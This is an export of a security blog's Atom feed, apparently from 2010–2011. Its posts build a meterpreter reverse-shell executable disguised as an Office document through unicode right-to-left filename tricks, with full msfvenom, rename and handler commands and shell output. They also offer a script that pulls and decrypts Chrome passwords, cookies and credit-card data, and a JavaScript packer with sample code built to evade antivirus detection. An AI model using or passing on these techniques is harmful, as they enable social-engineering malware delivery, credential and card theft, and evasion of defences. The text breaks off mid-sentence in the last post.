<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-4485342843431452477</id><updated>2011-11-04T00:50:59.138+01:00</updated><category term='antivirus'/><category term='metasploit'/><category term='javascript'/><title type='text'>Relentless Coding</title><subtitle type='html'>... so much to code, so little time ...</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://blog.relentless-coding.org/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4485342843431452477/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://blog.relentless-coding.org/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Sven</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>8</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-4485342843431452477.post-6659159117948640176</id><published>2011-10-24T00:17:00.000+02:00</published><updated>2011-11-04T00:44:17.093+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='metasploit'/><title type='text'>Social engineering with unicode filenames</title><content type='html'>There have been &lt;a href="http://krebsonsecurity.com/2011/09/right-to-left-override-aids-email-attacks/"&gt;several&lt;/a&gt;&amp;nbsp;&lt;a href="http://www.theinquirer.net/inquirer/news/2070768/windows-malware-camouflaged-unicode-filename-trickery"&gt;reports&lt;/a&gt; on special unicode characters being used to hide the real extension of a file - most times to make an execute file look like a document or a picture file, tricking the user into starting the executable.&lt;br /&gt;&lt;br /&gt;Although the attack is not new, I could not find much information about good ways to create such files - so here is how I created a meterpreter payload and made it look like a normal file on Windows Vista/7.&lt;br /&gt;During the process, I accessed the files both from Linux (metasploit, ruby) and Windows (Resource Hacker) using a Virtual Box machine with a shared folder. It should be possible to do everything on Windows only, but I did not test it.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[update 2011-11-04]&lt;/b&gt;&lt;br /&gt;I just tested the examples with Windows 7 + Ruby 1.9.2. As a reader reported in the comments, the original examples do not work. Ruby 1.9.2 has improved unicode support, so we can use the \uXXXX codes directly - I added an alternative version of the commands.&lt;br /&gt;&lt;b&gt;[/update]&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;First, create a payload:&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: plain;"&gt;./msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 -f exe LHOST=192.168.1.1 LPORT=4444 &amp;gt;/tmp/demo.exe&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;To make the file look like our target format, we need to give the executable file an icon. Copy demo.exe to demo_doc.exe and demo_ppt.exe to create a Word and a Powerpoint template.&lt;br /&gt;&lt;br /&gt;Now we need to find the correct icons for these filetypes. Start Resource Hacker (&lt;a href="http://www.angusj.com/resourcehacker/"&gt;http://www.angusj.com/resourcehacker/&lt;/a&gt;) and open the Word executable holding the icons ("c:\program files\microsoft office\office14\wordicon.exe" on my system). Find a suitable icon group and note the corresponding values (resource name = 201 and language = 1033 in my case). Resource Hacker showed some error messages on my system, but it worked nonetheless.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-dOEy4XczUQM/TqRVObg1tnI/AAAAAAAAAAM/3j9tCIpU-dc/s1600/pic1.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-dOEy4XczUQM/TqRVObg1tnI/AAAAAAAAAAM/3j9tCIpU-dc/s1600/pic1.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Now open your payload (demo_doc.exe) file in Resource Hacker. Click "Action -&amp;gt; Add a new Resource". &amp;nbsp;Open the file holding the icon (wordicon.exe in my case), set resource type to "ICON" and enter the collected values.&lt;br /&gt;If you use an executable that already has an icon (e.g. when executing msfvenom with calc.exe as a template), use "Action -&amp;gt; Replace Icon".&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-wCbFJgs5SpE/TqRVkRICRBI/AAAAAAAAAAU/XiDnV_zkclw/s1600/pic2.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-wCbFJgs5SpE/TqRVkRICRBI/AAAAAAAAAAU/XiDnV_zkclw/s1600/pic2.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Click "Add Resource" and save the file.&lt;br /&gt;&lt;br /&gt;Repeat the process for the Powerpoint file. I used the file powerpnt.exe, resource name = 1301, language = 1033.&lt;br /&gt;&lt;br /&gt;This is what you should see in Windows Explorer:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-UBA_ZzOtMH0/TqRVkmVGGtI/AAAAAAAAAAY/bAzpIkVI__U/s1600/pic3.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-UBA_ZzOtMH0/TqRVkmVGGtI/AAAAAAAAAAY/bAzpIkVI__U/s1600/pic3.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Theoretically, you could first rename the files before editing the icon resources. However, in my tests Resource hacker did not work correctly with the unicode filenames, so I recommend doing it in the described order.&lt;br /&gt;&lt;br /&gt;The most used character for these tricks is "right-to-left override" (RTLO), in unicode: U+202E.&lt;br /&gt;First, we need to convert this into an UTF-8 representation. You can do this by hand, like described here:&amp;nbsp;&lt;a href="http://home.tiscali.nl/t876506/utf8tbl.html"&gt;http://home.tiscali.nl/t876506/utf8tbl.html&lt;/a&gt;, or you can just look it up:&amp;nbsp;&lt;a href="http://www.fileformat.info/info/unicode/char/202e/index.htm"&gt;http://www.fileformat.info/info/unicode/char/202e/index.htm&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;So, U+202E converts to 0xE280AE.&lt;br /&gt;With a simple RTLO, we can reverse the right side of the filename, so "cod.exe" looks like "exe.doc". We are quite limited here, as the name of the file needs to end on exe.&lt;br /&gt;&lt;br /&gt;One good example I found was a file displayed as "SexyAlexe.ppt". The real name of this file is "SexyAl\xe2\x80\xaetpp.exe".&lt;br /&gt;&lt;br /&gt;I used ruby to execute the rename commands, as the special characters sometimes cause problems if you try to execute them in a normal shell.&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: plain;"&gt;# Original version, tested on Linux with Ruby 1.8.7&lt;br /&gt;ruby -e 'File.rename("demo_ppt.exe", "SexyAl\xe2\x80\xaetpp.exe")'&lt;br /&gt;&lt;br /&gt;# Alternative version, tested on Windows 7 with Ruby 1.9.2&lt;br /&gt;ruby -e 'File.rename("demo_ppt.exe", "SexyAl\u202Etpp.exe")'&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;In Windows Explorer:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-HjIKv6B-KzQ/TqRVlPSMEuI/AAAAAAAAAAg/0frgUAj9EFk/s1600/pic4.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-HjIKv6B-KzQ/TqRVlPSMEuI/AAAAAAAAAAg/0frgUAj9EFk/s1600/pic4.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;For more advanced file names, we need a second unicode character: U+202D = 0xE280AD, this one is called left-to-right override (LTRO).&lt;br /&gt;&lt;br /&gt;Using this, the real file extension of the file can be placed anywhere in the displayed filename. We now also use .scr as extension to have more options.&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: plain;"&gt;# [RTLO]cod.yrammus_evituc[LTRO]2011.exe&lt;br /&gt;&lt;br /&gt;# Original version, tested on Linux with Ruby 1.8.7&lt;br /&gt;ruby -e 'File.rename("demo_doc.exe", "\xe2\x80\xaecod.yrammus_evituc\xe2\x80\xad2011.exe")'&lt;br /&gt;&lt;br /&gt;# Alternative version, tested on Windows 7 with Ruby 1.9.2&lt;br /&gt;ruby -e 'File.rename("demo_doc.exe", "\u202Ecod.yrammus_evituc\u202D2011.exe")'&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# [RTLO]tpp.stohsnee[LTRO]funny.scr&lt;br /&gt;&lt;br /&gt;# Original version, tested on Linux with Ruby 1.8.7&lt;br /&gt;ruby -e 'File.rename("demo_ppt.exe", "\xe2\x80\xaetpp.stohsnee\xe2\x80\xadfunny.scr")'&lt;br /&gt;&lt;br /&gt;# Alternative version, tested on Windows 7 with Ruby 1.9.2&lt;br /&gt;ruby -e 'File.rename("demo_ppt.exe", "\u202Etpp.stohsnee\u202Dfunny.scr")'&lt;br /&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;The filename is created in two parts, first writing from right to left and then from left to right, prepending the characters left of all those already written.&lt;br /&gt;&lt;br /&gt;Result:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-s2Ij_PWLx7w/TrBeBwdRZVI/AAAAAAAAAA0/Fvaoon_bD0c/s1600/pic5.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-s2Ij_PWLx7w/TrBeBwdRZVI/AAAAAAAAAA0/Fvaoon_bD0c/s1600/pic5.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Open a metasploit console on the attacking machine:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;./msfconsole&lt;br /&gt;msf &amp;gt; use exploit/multi/handler&lt;br /&gt;msf &amp;nbsp;exploit(handler) &amp;gt; set PAYLOAD windows/meterpreter/reverse_tcp&lt;br /&gt;msf &amp;nbsp;exploit(handler) &amp;gt; set LHOST 192.168.1.1&lt;br /&gt;msf &amp;nbsp;exploit(handler) &amp;gt; exploit&lt;br /&gt;&lt;/pre&gt;Now, open one of the created files on the target machine and you should get a meterpreter shell:&lt;br /&gt;&lt;pre&gt;[*] Started reverse handler on 192.168.1.1:4444&lt;br /&gt;[*] Starting the payload handler...&lt;br /&gt;[*] Sending stage (752128 bytes) to 192.168.1.100&lt;br /&gt;[*] Meterpreter session 1 opened (192.168.1.1:4444 -&amp;gt; 192.168.1.100:54354) at Sun Oct 23 19:42:30 +0200 2011&lt;br /&gt;&lt;/pre&gt;Of course, no document will be opened and some users might get suspicious. An advanced version of this attack would use an executable file that extracts an embedded document, opens it and then executes the reverse shell.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4485342843431452477-6659159117948640176?l=blog.relentless-coding.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.relentless-coding.org/feeds/6659159117948640176/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.relentless-coding.org/2011/10/social-engineering-with-unicode.html#comment-form' title='10 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4485342843431452477/posts/default/6659159117948640176'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4485342843431452477/posts/default/6659159117948640176'/><link rel='alternate' type='text/html' href='http://blog.relentless-coding.org/2011/10/social-engineering-with-unicode.html' title='Social engineering with unicode filenames'/><author><name>Sven</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-dOEy4XczUQM/TqRVObg1tnI/AAAAAAAAAAM/3j9tCIpU-dc/s72-c/pic1.png' height='72' width='72'/><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4485342843431452477.post-2592536862424000812</id><published>2010-09-20T23:42:00.000+02:00</published><updated>2010-09-20T23:42:18.755+02:00</updated><title type='text'>Meterpreter Script to extract chrome browser data</title><content type='html'>About two months ago, Jeremiah Grossman found a &lt;a href="http://jeremiahgrossman.blogspot.com/2010/07/i-know-who-your-name-where-you-work-and.html"&gt;a nice way&lt;/a&gt; to exploit the form autofill feature of the Safari browser to extract the stored data.&lt;br /&gt;A few days later Google &lt;a href="http://chrome.blogspot.com/2010/08/syncing-simplifying-and-speeding-up.html"&gt;announced&lt;/a&gt; that Chrome 6 will support form autofill including credit card information.&lt;br /&gt;&lt;br /&gt;I was curious how the data is stored and the metasploit project was missing a meterpreter script to extract chrome browser data anyway, so I created one.&lt;br /&gt;&lt;br /&gt;The information is stored in sqlite databases and some JSON files. The script downloads these and extracts the useful information from the databases, storing the data in JSON dumps so it is both human readable and easy to parse.&lt;br /&gt;&lt;br /&gt;The most sensitive data (auto fill passwords and credit card numbers) is encrypted using the Windows function &lt;a href="http://msdn.microsoft.com/en-us/library/aa380261(VS.85).aspx"&gt;CryptProtectData&lt;/a&gt;:&lt;br /&gt;&lt;blockquote&gt;&amp;quot;Typically, only a user with the same logon credential as the user who encrypted the data can decrypt the data. In addition, the encryption and decryption usually must be done on the same computer.&amp;quot;&lt;/blockquote&gt;&lt;br /&gt;To decrypt the data, the script calls the CryptUnprotectData function on the target system using the new &lt;a href="http://mail.metasploit.com/pipermail/framework/2010-June/006382.html"&gt;railgun meterpreter extension&lt;/a&gt;.&lt;br /&gt;To make this work, the process on the target system running meterpreter needs to be owned by the user the data belongs to, so this does not work with SYSTEM privileges.&lt;br /&gt;To get the data of the currently logged on user, the script allows to automatically migrate into the exlorer.exe process and, after the decryption is done, back into the original process.&lt;br /&gt;&lt;br /&gt;The following shows the console output of the script:&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: plain; toolbar: true"&gt;meterpreter &gt; getuid&lt;br /&gt;Server username: NT AUTHORITY\SYSTEM&lt;br /&gt;meterpreter &gt; run enum_chrome -m&lt;br /&gt;[*] current PID is 1100. migrating into explorer.exe, PID=2916...&lt;br /&gt;[*] done.&lt;br /&gt;[*] running as user 'VM-WINXP\test'...&lt;br /&gt;[*] extracting data for user 'test'...&lt;br /&gt;[*] downloading file Web Data to '/home/sven/.msf3/logs/scripts/enum_chrome/10.1.1.11/20100920.2016/test/Web Data'...&lt;br /&gt;[*] downloading file Cookies to '/home/sven/.msf3/logs/scripts/enum_chrome/10.1.1.11/20100920.2016/test/Cookies'...&lt;br /&gt;[*] downloading file History to '/home/sven/.msf3/logs/scripts/enum_chrome/10.1.1.11/20100920.2016/test/History'...&lt;br /&gt;[*] downloading file Login Data to '/home/sven/.msf3/logs/scripts/enum_chrome/10.1.1.11/20100920.2016/test/Login Data'...&lt;br /&gt;[*] downloading file Bookmarks to '/home/sven/.msf3/logs/scripts/enum_chrome/10.1.1.11/20100920.2016/test/Bookmarks'...&lt;br /&gt;[*] downloading file Preferences to '/home/sven/.msf3/logs/scripts/enum_chrome/10.1.1.11/20100920.2016/test/Preferences'...&lt;br /&gt;[*] creating file 'autofill.json'...&lt;br /&gt;[*] creating file 'autofill_profiles.json'...&lt;br /&gt;[*] creating file 'autofill_credit_cards.json'...&lt;br /&gt;[*] decrypting field 'card_number_encrypted'...&lt;br /&gt;[*] creating file 'cookies.json'...&lt;br /&gt;[*] creating file 'history.json'...&lt;br /&gt;[*] creating file 'logins.json'...&lt;br /&gt;[*] creating file 'bookmarks.json'...&lt;br /&gt;[*] creating file 'preferences.json'...&lt;br /&gt;[*] migrating back into PID=1100...&lt;br /&gt;[*] done.&lt;br /&gt;meterpreter &gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;The file 'autofill_credit_cards.json' contains the following (the field "card_number_encrypted_decrypted" gets added by the script):&lt;br /&gt;&lt;pre class="brush: plain; toolbar: true"&gt;[&lt;br /&gt;  {&lt;br /&gt;    "label": "",&lt;br /&gt;    "verification_code_encrypted": "",&lt;br /&gt;    "unique_id": 1,&lt;br /&gt;    "expiration_year": 2010,&lt;br /&gt;    "card_number": "",&lt;br /&gt;    "shipping_address": "",&lt;br /&gt;    "type": "",&lt;br /&gt;    "card_number_encrypted": "\u0001\u0000\u0000\u0000Ð~L~]ß\u0001\u0015Ñ\u0011~Lz\u0000ÀOÂ~Wë\u0001\u0000\u0000\u0000/\u0006E\u000eú«}N~LÁ\u001bjÍ5\u0004~\\u0000\u0000\u0000\u0000\u0002\u0000\u0000\u0000\u0000\u0000\u0003f\u0000\u0000¨\u0000\u0000\u0000\u0010\u0000\u0000\u0000Ú½[~LökºíaÂAÕ\u0013ÖoÚ\u0000\u0000\u0000\u0000\u0004~@\u0000\u0000| \u0000\u0000\u0000\u0010\u0000\u0000\u0000~Eî\\uFÎrgé|i¬.\u0002~P~I\u0018\u0000\u0000\u0000~N£Hvß~FÃÀê%á6h¢Q~Q;j NØ\u0002m±\u0014\u0000\u0000\u0000Yö|#~\~A°µ±ù~Zå·®\u0007éJ~KyÓ",&lt;br /&gt;    "billing_address": "",&lt;br /&gt;    "expiration_month": 12,&lt;br /&gt;    "verification_code": "",&lt;br /&gt;    "name_on_card": "Test Card",&lt;br /&gt;    "card_number_encrypted_decrypted": "0123456789012345"&lt;br /&gt;  }&lt;br /&gt;]&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;You can download the script here: &lt;a href="http://github.com/svent/misc/blob/master/metasploit/enum_chrome.rb"&gt;http://github.com/svent/misc/blob/master/metasploit/enum_chrome.rb&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4485342843431452477-2592536862424000812?l=blog.relentless-coding.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.relentless-coding.org/feeds/2592536862424000812/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.relentless-coding.org/2010/09/meterpreter-script-to-extract-chrome.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4485342843431452477/posts/default/2592536862424000812'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4485342843431452477/posts/default/2592536862424000812'/><link rel='alternate' type='text/html' href='http://blog.relentless-coding.org/2010/09/meterpreter-script-to-extract-chrome.html' title='Meterpreter Script to extract chrome browser data'/><author><name>Sven</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4485342843431452477.post-5649448670077848865</id><published>2010-09-16T22:28:00.000+02:00</published><updated>2010-09-20T20:35:49.536+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='antivirus'/><category scheme='http://www.blogger.com/atom/ns#' term='metasploit'/><title type='text'>Combining the Quicktime "Marshaled_pUnk" exploit with JSidle</title><content type='html'>The Quicktime "Marshaled_pUnk" exploit works well with a Javascript packer to circumvent AV detection as it solely relies on Javascript code. Quite often a web based exploit needs a special setting (HTML objects, data files etc.) beside the Javascript code and therefore makes it easier to create an AV signature.&lt;br /&gt;&lt;br /&gt;The current metasploit module for the exploit (see &lt;a href="http://www.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb"&gt;here&lt;/a&gt;) has a detection rate of 14/43 on &lt;a href="http://www.virustotal.com/file-scan/report.html?id=ea98391ffa5371c3795c172644be357898884d22f9e0be4710eacfab49fa27b9-1284667022"&gt;VirusTotal&lt;/a&gt;.&lt;br /&gt;After changing a few lines to use the JSidle packer (&lt;a href="http://github.com/svent/jsidle/tree/master/metasploit/"&gt;patches&lt;/a&gt; on github) the detection drops to &lt;a href="http://www.virustotal.com/file-scan/report.html?id=769e9c14037369f3b7209e8977593a13596432c048ec602fcc03830032744e51-1284667029"&gt;zero&lt;/a&gt;, no further customization needed.&lt;br /&gt;&lt;br /&gt;As the packer is available for over 2 months now, it seems to work quite well.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4485342843431452477-5649448670077848865?l=blog.relentless-coding.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.relentless-coding.org/feeds/5649448670077848865/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.relentless-coding.org/2010/09/combining-quicktime-marshaledpunk.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4485342843431452477/posts/default/5649448670077848865'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4485342843431452477/posts/default/5649448670077848865'/><link rel='alternate' type='text/html' href='http://blog.relentless-coding.org/2010/09/combining-quicktime-marshaledpunk.html' title='Combining the Quicktime &quot;Marshaled_pUnk&quot; exploit with JSidle'/><author><name>Sven</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4485342843431452477.post-6868385641218110688</id><published>2010-07-09T00:28:00.000+02:00</published><updated>2010-09-20T20:36:59.158+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='antivirus'/><category scheme='http://www.blogger.com/atom/ns#' term='metasploit'/><title type='text'>New Javascript packer: JSidle</title><content type='html'>Over the last weeks I worked on a new Javascript packer that incorporates some new ideas. The main goal was to make it useful in penetration testing - thus, all used techniques try to circumvent automated analysis (e.g. used by anti virus products). I did not try to make it especially hard for manual analysis.&lt;br /&gt;&lt;br /&gt;The Javascript obfuscator I released some months ago (see &lt;a href="http://relentless-coding.blogspot.com/2010/02/circumventing-antivirus-javascript.html"&gt;here&lt;/a&gt;) has been used in some metasploit modules and seems to circumvent detection quite well, although it only implements a simple idea. The new packer works standalone (the old used parts of the existing JS obfuscator from the metasploit framework) and uses encryption in a new way for obfuscation purposes.&lt;br /&gt;&lt;br /&gt;Most Javascript obfuscators try to reach their goal through complexity, often using some kind of encoding/encryption, mainly because it's an easy way to circumvent known signatures. The JSidle packers does the same except for one big difference: it does take advantage of the time factor.&amp;nbsp;The packer does not give the whole key to the client, so the original payload is really inaccessible to the anti virus engine. As we do want our browser to access and in the end execute it, there is only one solution: let the browser brute force the key. The browser will try to crack the missing part of the key - all this is implemented in a way that ensures the browser will be successful within a few seconds (depending on the configuration of the packer). This delay cannot be circumvented - every AV engine that needs to see the original payload to flag it as malicious will have to brute force it too. This is just not possible within the tenth of a seconds it has to do that, so it will deliver the script to the browser (because the obfuscation itself is no sign for the code being malicious and users are not willing to wait a few seconds before a website loads). Our victim user however, will generously wait for the script to decrypt and execute. If we target modern browsers, the execution speed of their highly optimized JS engines compared to AV emulation puts the attacker even more in advantage.&lt;br /&gt;&lt;br /&gt;The whole concept is described in my article in issue 003 of the HITB magazine (pages 42-47). You can get it here: &lt;a href="http://magazine.hitb.org/"&gt;http://magazine.hitb.org&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The source code is available on github:&amp;nbsp;&lt;a href="http://github.com/svent/jsidle"&gt;http://github.com/svent/jsidle&lt;/a&gt;&lt;br /&gt;You can also find patches for metasploit on that repository, I will try to get them integrated into the framework.&lt;br /&gt;&lt;br /&gt;An easy example that can be executed with spidermonkey (using pdf mode, as the web mode does rely on the window object in the executing browser):&lt;br /&gt;&lt;pre class="brush: plain; toolbar: true"&gt;user@box $ echo "print('hello world')" | ./jsidle -o test.js mode=pdf speed=10000&lt;br /&gt;user@box $ js &amp;lt;test.js&lt;br /&gt;hello world&lt;br /&gt;user@box $&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;The resulting JS code will take a short time to execute, as the key has to be cracked.&lt;br /&gt;This is the generated Javascript code (not including the used open source MD5 JS library):&lt;br /&gt;&lt;pre class="brush: js"&gt;var aens = 'xbrweslznfjzgufvllynehboehht';&lt;br /&gt;                var ielye = '484b0a581019145807555e0911445f4b0f07101e39';&lt;br /&gt;                var inre = '';&lt;br /&gt;                for (i = 0;i&amp;lt;ielye.length;i+=2) {&lt;br /&gt;                        inre += String.fromCharCode(parseInt(ielye.substring(i, i+2), 16));&lt;br /&gt;                }&lt;br /&gt;                var nrra = 'ckwrgey';&lt;br /&gt;                var gnnei = 'ioevnpxed';&lt;br /&gt;                var puen = 'tgrzmhmppsdwooswweo';&lt;br /&gt;                var eetah = ['f6855e60cbaf0f53eac03c3084d54e20','f08646544a74dec80d115aa8d481bd6b','374610dd1228da094904b40169528f28','21f4a8ed182327154deb34bc21dfe7d6','4fb97eac4dbff8f150b770dbc21fc848'];&lt;br /&gt;                var rni = nrra + gnnei;&lt;br /&gt;                var flfnn = false;&lt;br /&gt;                var aaenu;&lt;br /&gt;                var eyur = ["", "", "", "", ""];&lt;br /&gt;                var stts = "abcdefghijklmnopqrstuvwxyz";&lt;br /&gt;                for (i = 0; i &amp;lt; 5; i++) {&lt;br /&gt;                var gblt = 1;&lt;br /&gt;                while (true) {&lt;br /&gt;                        eyur[i] = "";&lt;br /&gt;                        var lss = gblt;&lt;br /&gt;                        while (lss &amp;gt; 0) {&lt;br /&gt;                                var nwg = lss % 26;&lt;br /&gt;                                eyur[i] = stts.substring(nwg, nwg + 1) + eyur[i];&lt;br /&gt;                                lss = Math.floor(lss / 26);&lt;br /&gt;                        }&lt;br /&gt;                        if (hex_md5(puen + eyur[i]) == eetah[i]) {&lt;br /&gt;                                break;&lt;br /&gt;                        }&lt;br /&gt;                        gblt++;&lt;br /&gt;                }&lt;br /&gt;                }&lt;br /&gt;                var aaenu = hex_md5(rni + eyur.join(""));&lt;br /&gt;                var eostl = '';&lt;br /&gt;                for (i=0;i&amp;lt;inre.length;i++) {&lt;br /&gt;                                eostl += String.fromCharCode(inre.charCodeAt(i) ^ aaenu.charCodeAt(i%aaenu.length));&lt;br /&gt;                }&lt;br /&gt;                eval(eostl);&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4485342843431452477-6868385641218110688?l=blog.relentless-coding.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.relentless-coding.org/feeds/6868385641218110688/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.relentless-coding.org/2010/07/new-javascript-packer-jsidle.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4485342843431452477/posts/default/6868385641218110688'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4485342843431452477/posts/default/6868385641218110688'/><link rel='alternate' type='text/html' href='http://blog.relentless-coding.org/2010/07/new-javascript-packer-jsidle.html' title='New Javascript packer: JSidle'/><author><name>Sven</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4485342843431452477.post-3023245262161558446</id><published>2010-02-23T01:00:00.000+01:00</published><updated>2010-07-03T19:38:08.111+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='antivirus'/><title type='text'>Bypassing Antivirus using De-Obfuscation</title><content type='html'>About six months ago I was working on an idea for a new executable packer. Before I started coding, I performed some tests to see how easy current Antivirus products can be bypassed.&lt;br /&gt;&lt;br /&gt;I chose the tool PwDump3 for testing as I did not want to handle real malware for the small test and this was sufficient as most AV products detect it as malicious software.&lt;br /&gt;&lt;br /&gt;Two of my tests were quite simple:&lt;br /&gt;&lt;br /&gt;Test1: &lt;br /&gt;&lt;ul&gt;&lt;li&gt;pack the program with upx&lt;/li&gt;&lt;/ul&gt;&amp;nbsp;Test2:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;pack the program with upx &lt;/li&gt;&lt;li&gt;rename sections &lt;/li&gt;&lt;li&gt;add a time consuming loop to the programm, hoping that an AV scanner using generic unpacking will fail&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;The second test was somewhat successful - the detection rate dropped by 50%, whereas the first one did not really help bypass detection.&lt;br /&gt;&lt;br /&gt;Now I wanted to take up the project again - checking what I did 6 months ago I also re-uploaded the testfiles to virustotal. To my surprise, these two testfiles led to almost identical results: 31/41 compared to 28/41.&lt;br /&gt;As we all know and Kaspersky &lt;a 